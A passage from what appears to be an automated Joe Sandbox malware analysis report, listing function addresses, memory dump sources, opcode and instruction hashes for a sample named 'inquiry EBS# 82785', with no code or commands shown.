                                                          • API String ID:
                                                          • Opcode ID: b6501beeb2d0ce84406fecf5f62171c0a87420d1db881303d870593a7d3f19c4
                                                          • Instruction ID: dec76fbcaa400dc81030d90081b411d45641d9e37ec56a0bb99c1e4939e3dadd
                                                          • Opcode Fuzzy Hash: b6501beeb2d0ce84406fecf5f62171c0a87420d1db881303d870593a7d3f19c4
                                                          • Instruction Fuzzy Hash: 9041C4B1D00319DBDB24DFA9C984A9DFBB5FF48714F248029D808BB250D7756A46CF90
                                                          Function 04D88C07 Relevance: .1, Instructions: 98COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 2f7b054fcad6bf27aa66cc745074774c39a3073e79d7829550633416113e4ffd
                                                          • Instruction ID: 9e61dad7168442a6aa4e254a28c18ed6280242a48c820a40f3acd8589c487d46
                                                          • Opcode Fuzzy Hash: 2f7b054fcad6bf27aa66cc745074774c39a3073e79d7829550633416113e4ffd
                                                          • Instruction Fuzzy Hash: 28413BB4A05206CFC714EF29C584AA9FBF1FF49300B5986A9E44ADB356E734EC45CB90
                                                          Function 04D82A28 Relevance: .1, Instructions: 95COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 1580179b560b8dc4160b486f0b6079c5d636bb5f165691dcf92c7a660e84cd8b
                                                          • Instruction ID: f5b160770a59e78a9f637d07d80a35510e87d2ed0e2e3948cda2f3c191153f58
                                                          • Opcode Fuzzy Hash: 1580179b560b8dc4160b486f0b6079c5d636bb5f165691dcf92c7a660e84cd8b
                                                          • Instruction Fuzzy Hash: DC41B1B0D10358DFDB14DF9AC884A9EFBB1BF49710F60812AE818BB254DB75A845CF90
                                                          Function 04D8DF21 Relevance: .1, Instructions: 93COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 7c6ac688f85eeb0f8e644eba7b2fb7a30ae332ec1d295b96a3b635a878215939
                                                          • Instruction ID: bf2b39a4d8b09de3450f6da891a1ca0147f345cf6ed9781bbd0acb653e1202a2
                                                          • Opcode Fuzzy Hash: 7c6ac688f85eeb0f8e644eba7b2fb7a30ae332ec1d295b96a3b635a878215939
                                                          • Instruction Fuzzy Hash: 0B319174E00644CBEB25BB75C4507BE7BA3EF88314F10482ED502AB2C5DB799942DBA1
                                                          Function 04D87C28 Relevance: .1, Instructions: 92COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 4ef4a6ec7908af99f9228f35bd0dbedac7db8c171775fa42281d258d3748a4cb
                                                          • Instruction ID: a7aaf131ec5887224949cdb8c1cab2d42e063be2ac825d028c7071d378d51b7d
                                                          • Opcode Fuzzy Hash: 4ef4a6ec7908af99f9228f35bd0dbedac7db8c171775fa42281d258d3748a4cb
                                                          • Instruction Fuzzy Hash: BC317C36B002199FCF04EF68D8448EDF7B6FF88214B158569E506AB350EB75BD46CB90
                                                          Function 04D859A8 Relevance: .1, Instructions: 92COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 950e1417465f9f7a84ffc1479f93a02e1ee21eb1dffcae1d85aa17f826ec1ed8
                                                          • Instruction ID: 5c3cb5c7bda8b1004b6ee6048b3337c72ff0aaa211873c596c299c891795ef03
                                                          • Opcode Fuzzy Hash: 950e1417465f9f7a84ffc1479f93a02e1ee21eb1dffcae1d85aa17f826ec1ed8
                                                          • Instruction Fuzzy Hash: E741E775A0020ADFCB44DF69D8849AEFBB5FF49314B14C659E918AB311E730E985CF90
                                                          Function 04D86598 Relevance: .1, Instructions: 89COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 9e76d69582b03e0005740e2f00b41abe97eb24eacab7994a192067f2e9d8ce15
                                                          • Instruction ID: 82d02c7114530c38fc3210dff5af7dad95626de32aadb48efe22f78f899603de
                                                          • Opcode Fuzzy Hash: 9e76d69582b03e0005740e2f00b41abe97eb24eacab7994a192067f2e9d8ce15
                                                          • Instruction Fuzzy Hash: 292182363042018FD714AB2CD8856793BA6FFC5325B1981B9E40ACF3A6EA35FC058B90
                                                          Function 04D8D3A8 Relevance: .1, Instructions: 88COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: b97fb0b19233b281ce6cacd9360695df438efa062ec323ae6ecca3f708684a95
                                                          • Instruction ID: a45f0e76ef91e14d4bcfa58001688ce5c0434f2464fb5ea15c8d88d6cfc8771c
                                                          • Opcode Fuzzy Hash: b97fb0b19233b281ce6cacd9360695df438efa062ec323ae6ecca3f708684a95
                                                          • Instruction Fuzzy Hash: A631F575A202189FCB04EFA8D894EADB7B5FF88710B1185AAE815EB361C730A800CF50
                                                          Function 04D83C6F Relevance: .1, Instructions: 88COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: e37995af38dd608be5fa545202f5853d674aa969cac363c65fb31260b5a690a1
                                                          • Instruction ID: 83c142dff2e33133ff0756b821d2656e76d7602fdfd02fcb25c94e7f29c253c7
                                                          • Opcode Fuzzy Hash: e37995af38dd608be5fa545202f5853d674aa969cac363c65fb31260b5a690a1
                                                          • Instruction Fuzzy Hash: 1B216771F001555FDB11EFA9CC00AFFBBF9EFC4A04F10812AD818D7250EA719A0587A1
                                                          Function 04D8FB60 Relevance: .1, Instructions: 86COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 6f451182a5617a0c20bf07507640a18a06d94b97ae1dce7d164aed7407f37598
                                                          • Instruction ID: 636f698ac910ebef28f9ddd481e4d9905afcecf4f5b317067a819dc03918a618
                                                          • Opcode Fuzzy Hash: 6f451182a5617a0c20bf07507640a18a06d94b97ae1dce7d164aed7407f37598
                                                          • Instruction Fuzzy Hash: 86215C367502148FDB14EB79E45496E37EAEFC866171540AEE905CB361EE31FD028BA0
                                                          Function 04D839F0 Relevance: .1, Instructions: 84COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: e55dcdd92d31276a772ceb8d211f22ccfadcf1142672780b84f93c0146752ec0
                                                          • Instruction ID: 1da72a6f9ad9405f209835acb1d1c44eb89ca875c06b35f26f6af212b13a56f8
                                                          • Opcode Fuzzy Hash: e55dcdd92d31276a772ceb8d211f22ccfadcf1142672780b84f93c0146752ec0
                                                          • Instruction Fuzzy Hash: 6B21AD726003008FD711EF78C4544ABBBFAEF85204B1589ADE546DB351EB71ED0A8BA1
                                                          Function 04D8E1E9 Relevance: .1, Instructions: 79COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: bb350977a1474ad34ebbd32f19c6002b9d74d09614a3043e033cca7a6d018e0e
                                                          • Instruction ID: 7021336a6efbe108c69f28288407d90dabc4d842714422073b9c58b83ff18d7c
                                                          • Opcode Fuzzy Hash: bb350977a1474ad34ebbd32f19c6002b9d74d09614a3043e033cca7a6d018e0e
                                                          • Instruction Fuzzy Hash: 5921B271E10219AFDB05AFB0D844A9EBBB6FF88304F418519F501BB264DF74A846CBA0
                                                          Function 00DAD1FC Relevance: .1, Instructions: 76COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1271553027.0000000000DAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DAD000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_dad000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: a2cb069d82410fee58948f220ae264d8639f023ed47dde417943166d203ac322
                                                          • Instruction ID: 82ab45a632e1bde189e6971c8256980f8e01927a417c8cd0aa50196b158b79b3
                                                          • Opcode Fuzzy Hash: a2cb069d82410fee58948f220ae264d8639f023ed47dde417943166d203ac322
                                                          • Instruction Fuzzy Hash: 3B2125B2504300DFDB05DF10D9C4B2ABB66FB89310F24C5A9ED4A0B646C336D816CBB2
                                                          Function 00DAD4C4 Relevance: .1, Instructions: 75COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1271553027.0000000000DAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DAD000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_dad000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 51ab97e6d5a29a884c50cdf2f75e471711534812d82490194d400b6c87b3f532
                                                          • Instruction ID: ffbca725b69cb7722a5bd459c09be5e29ab4800be5052010d87cc8a6aec20c53
                                                          • Opcode Fuzzy Hash: 51ab97e6d5a29a884c50cdf2f75e471711534812d82490194d400b6c87b3f532
                                                          • Instruction Fuzzy Hash: DD216A71904200DFDB14DF10D9C0B26BF62FB8A318F24C569E8460F656C336D806CBB2
                                                          Function 00DBD01C Relevance: .1, Instructions: 72COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1271705855.0000000000DBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DBD000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_dbd000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: f3f2e0fbac1a7ced65d125504457b02872f02afb271beab4f83e381866158d2e
                                                          • Instruction ID: bc424431c26647dbfe71686b062b1451a43b9452bf67d1f28f579a952db21c7a
                                                          • Opcode Fuzzy Hash: f3f2e0fbac1a7ced65d125504457b02872f02afb271beab4f83e381866158d2e
                                                          • Instruction Fuzzy Hash: C021F275604300DFDB14EF14D9C4B56BB66EB88324F24C5ADE84A4B286D33AD847CA72
                                                          Function 00DBD1D4 Relevance: .1, Instructions: 72COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1271705855.0000000000DBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DBD000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_dbd000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 31998ea6041a8c82b8f3440abbedc02d22f58d089281213b3ecc583447a810d0
                                                          • Instruction ID: 5b924607e45642ccf5482eb24bbe3cc28b5b4ab3e442654123887e34c03732eb
                                                          • Opcode Fuzzy Hash: 31998ea6041a8c82b8f3440abbedc02d22f58d089281213b3ecc583447a810d0
                                                          • Instruction Fuzzy Hash: A5213471A04380EFDB04DF10D9C0B66BBA2FB84314F24C6ADE84A4B282D336D806CB71
                                                          Function 04D8AC30 Relevance: .1, Instructions: 70COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 469a7a321539d3a943a1e1678d59fe1a066c3a0cfad08db2542361a1350e4fa9
                                                          • Instruction ID: e623c0d8abfacef285ef6faf24062ef7047ddc39d1a3acc93080a294a1bc9af3
                                                          • Opcode Fuzzy Hash: 469a7a321539d3a943a1e1678d59fe1a066c3a0cfad08db2542361a1350e4fa9
                                                          • Instruction Fuzzy Hash: 482133759106099FCB10EF6CD88059AFBB4FF99310F54C26AE958A7300EB31A958CBD1
                                                          Function 04D8369E Relevance: .1, Instructions: 69COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: ac50db7b98ffadfe50fdcaa54feda90712eb5a39da1a151f19a60a7b18470447
                                                          • Instruction ID: afe7cc4c56225d5a1d0dfdf85bc0fa999721d2e5cbb8b1c0e128168766eaf430
                                                          • Opcode Fuzzy Hash: ac50db7b98ffadfe50fdcaa54feda90712eb5a39da1a151f19a60a7b18470447
                                                          • Instruction Fuzzy Hash: 5A2190B5E002099FEF14EFA9C8405FEBBF7EF88300B14452AE505F7254EB349A018BA1
                                                          Function 04D8E1F8 Relevance: .1, Instructions: 69COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: b8f1f0c10714fb9b813a78efbc9d92e779f776eb0242663598ecdaffdfce3fe7
                                                          • Instruction ID: 20ed45b11ba4352a4e1ba412955846910bba9383c2e885f0ff34a64d55e34e81
                                                          • Opcode Fuzzy Hash: b8f1f0c10714fb9b813a78efbc9d92e779f776eb0242663598ecdaffdfce3fe7
                                                          • Instruction Fuzzy Hash: 2521F271E00209EFDB05AFA4D840AAEBBB6FF88300F408519F501BB264EF70A844CB90
                                                          Function 04D839E0 Relevance: .1, Instructions: 67COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: c93b350852bda81757cce05c62577e2da5b96920cce8bba14684bac3f1691bc3
                                                          • Instruction ID: 49740cc28328a98f5722e05ce00fb8e2fd914cf115584e8a6b2154a85523a83c
                                                          • Opcode Fuzzy Hash: c93b350852bda81757cce05c62577e2da5b96920cce8bba14684bac3f1691bc3
                                                          • Instruction Fuzzy Hash: C421A2716002054FD711EF68C4054ABBBF6EF86314B11896DE906EB351EB71FD098BA1
                                                          Function 04D844D0 Relevance: .1, Instructions: 66COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 87cbcea44a54c3f5de899090aaa425c6186648da055411354aa67703d32550df
                                                          • Instruction ID: 86118b426e207ec32fc92bad8805acfc989538c10788b7265fa446877dbdb011
                                                          • Opcode Fuzzy Hash: 87cbcea44a54c3f5de899090aaa425c6186648da055411354aa67703d32550df
                                                          • Instruction Fuzzy Hash: 8E014572B453441FEB037BF84C504BE7F75DB86814B14017AD608E7383DA226D0283BA
                                                          Function 04D83690 Relevance: .1, Instructions: 62COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 99cb94be933cdb9f2ddb107f798fd4b1a4240a1779ac9dc3c2fed08afafc2ef1
                                                          • Instruction ID: 432e042e36f043bd296596d1c36e3ccba02d16f3288a256ec93128cdac3ec741
                                                          • Opcode Fuzzy Hash: 99cb94be933cdb9f2ddb107f798fd4b1a4240a1779ac9dc3c2fed08afafc2ef1
                                                          • Instruction Fuzzy Hash: A221F8B1D00319DFEF24DFA4C544BADBBB1BF54704F248019D809AB250DB76AA4ACF91
                                                          Function 00DBD005 Relevance: .1, Instructions: 62COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1271705855.0000000000DBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DBD000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_dbd000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 69783794d6c9163e83d6a767cca34992143b3d3538678da137d8df369377d4b5
                                                          • Instruction ID: 61cbd4cd61d7825ae3c8c085ecd3e888debabe7845ee6a6814e47e15514a786d
                                                          • Opcode Fuzzy Hash: 69783794d6c9163e83d6a767cca34992143b3d3538678da137d8df369377d4b5
                                                          • Instruction Fuzzy Hash: 49218E75509380CFCB06DF24D990755BF72EB46314F28C5EAD8498B2A7C33A980ACB62
                                                          Function 04D8D7E0 Relevance: .1, Instructions: 61COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: f228d5aa01cedc2db4adbfef671cd2ef9159f230d979062422979a432f42ad0d
                                                          • Instruction ID: 423fa36bf0fd57ce7ee81f4544c02c6c982e2b37b5509f1c6d435a250c01c90f
                                                          • Opcode Fuzzy Hash: f228d5aa01cedc2db4adbfef671cd2ef9159f230d979062422979a432f42ad0d
                                                          • Instruction Fuzzy Hash: 81112C353093885FDB116F75985067A3F769F85104F04805FE549CE2D2CA7ADC56C3A1
                                                          Function 00DAD1F7 Relevance: .1, Instructions: 57COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1271553027.0000000000DAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DAD000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_dad000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 6fa0a9b6888ab601070468a7c49be392b44274aed9e91ce62da6c30ec0883e0c
                                                          • Instruction ID: fbd68f60638ac6250a50475cc56e85c0a4307f77931e4e7574a59657439f762c
                                                          • Opcode Fuzzy Hash: 6fa0a9b6888ab601070468a7c49be392b44274aed9e91ce62da6c30ec0883e0c
                                                          • Instruction Fuzzy Hash: 5021B176504240DFCB06CF50D9C4B56BF72FB85314F28C5A9DC490B656C33AD826CBA1
                                                          Function 04D86AE9 Relevance: .1, Instructions: 56COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 8850438b76231667dab358e5fc996e3c4cf4c9961582f0aa2d79debd49a5f355
                                                          • Instruction ID: fec0972f7b1210d4c519f6479a2a575304929415a02320b8d0792148e4ebc6bf
                                                          • Opcode Fuzzy Hash: 8850438b76231667dab358e5fc996e3c4cf4c9961582f0aa2d79debd49a5f355
                                                          • Instruction Fuzzy Hash: 2C1188363442014FD7149A19D8D96753B96FFC9324F1D81B9E409CF3A6E525EC058750
                                                          Function 00DAD4BF Relevance: .1, Instructions: 56COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1271553027.0000000000DAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DAD000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_dad000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 099256442a3ab3004f72329a4e4b6c70090b87d396c4978555b43c732be305a7
                                                          • Instruction ID: 1ee4297263865653355236e8a51d0451578a74d17074194038463ce859932edc
                                                          • Opcode Fuzzy Hash: 099256442a3ab3004f72329a4e4b6c70090b87d396c4978555b43c732be305a7
                                                          • Instruction Fuzzy Hash: 4511E676904280CFCB15CF14D5C4B16BF72FB95324F28C6A9D84A0B656C336D856CBA1
                                                          Function 04D84AF4 Relevance: .1, Instructions: 55COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 8c8823905fcc58deed6b76701a6927d35065cf28fb539f129b1111a5b07268c1
                                                          • Instruction ID: 00ee93ead21be151bbc236350cb9787e590d2a06bf966e9c402bebf4db5102e2
                                                          • Opcode Fuzzy Hash: 8c8823905fcc58deed6b76701a6927d35065cf28fb539f129b1111a5b07268c1
                                                          • Instruction Fuzzy Hash: 7A21F2B59003499FDB20DF9AD845A9EBBF4EB48320F10842AE959A7210D775A940CFA1
                                                          Function 04D807B8 Relevance: .1, Instructions: 53COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 407aedf5234675ee2e34fd94b2046ec16aef4722d79bb5a5dc187a9c5c77f0df
                                                          • Instruction ID: 53315ebbb7a932b774d89463a0272145ec5857229ed0d129931f9f700127ecf3
                                                          • Opcode Fuzzy Hash: 407aedf5234675ee2e34fd94b2046ec16aef4722d79bb5a5dc187a9c5c77f0df
                                                          • Instruction Fuzzy Hash: 1A01D671A401049FDB00AF64C4496ABBBF6EB48300F11817DE106EB344CF79ED05CBA0
                                                          Function 04D8CF40 Relevance: .1, Instructions: 53COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: c70fdc8c4272723b4c56aa55405781c192a79e8c9c919d3d63ffce4e6cee4a23
                                                          • Instruction ID: 5e2948313b1b0955650a841cb1ab9470e02b7a79d32d67654195fd7f622cfa82
                                                          • Opcode Fuzzy Hash: c70fdc8c4272723b4c56aa55405781c192a79e8c9c919d3d63ffce4e6cee4a23
                                                          • Instruction Fuzzy Hash: 7F11E172B047049FE314EF79C4405AEBBF2EF82244700C56EE0599B241EB30BA06CBA0
                                                          Function 00DBD1CF Relevance: .1, Instructions: 53COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1271705855.0000000000DBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DBD000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_dbd000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 4ccb17c466d2e34b86bde66ac975e9cbefd8e24c09005379d072ef0b40a0d1c0
                                                          • Instruction ID: c08269633771b58f0dd6272b4ddd984e6b2f67afde18e776610c125ff2fdca0c
                                                          • Opcode Fuzzy Hash: 4ccb17c466d2e34b86bde66ac975e9cbefd8e24c09005379d072ef0b40a0d1c0
                                                          • Instruction Fuzzy Hash: 3211BB75504280DFCB05CF10C5C0B55BBA2FB84324F28C6ADD84A4B296C33AD80ACB61
                                                          Function 04D83684 Relevance: .1, Instructions: 51COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 8b6240b173bf23b9f63dc235004dce8ce338034e853b5b84ffc77d8e06fab16e
                                                          • Instruction ID: ad71749a2524754cd48e26cce004cfdd89e6970de532e4f7c5d2219fbd74108d
                                                          • Opcode Fuzzy Hash: 8b6240b173bf23b9f63dc235004dce8ce338034e853b5b84ffc77d8e06fab16e
                                                          • Instruction Fuzzy Hash: 6611F3B5D007499FDB20DF9AC444B9EFBF4EB48320F14842AE859A7311D775A905CFA1
                                                          Function 04D83250 Relevance: .1, Instructions: 51COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
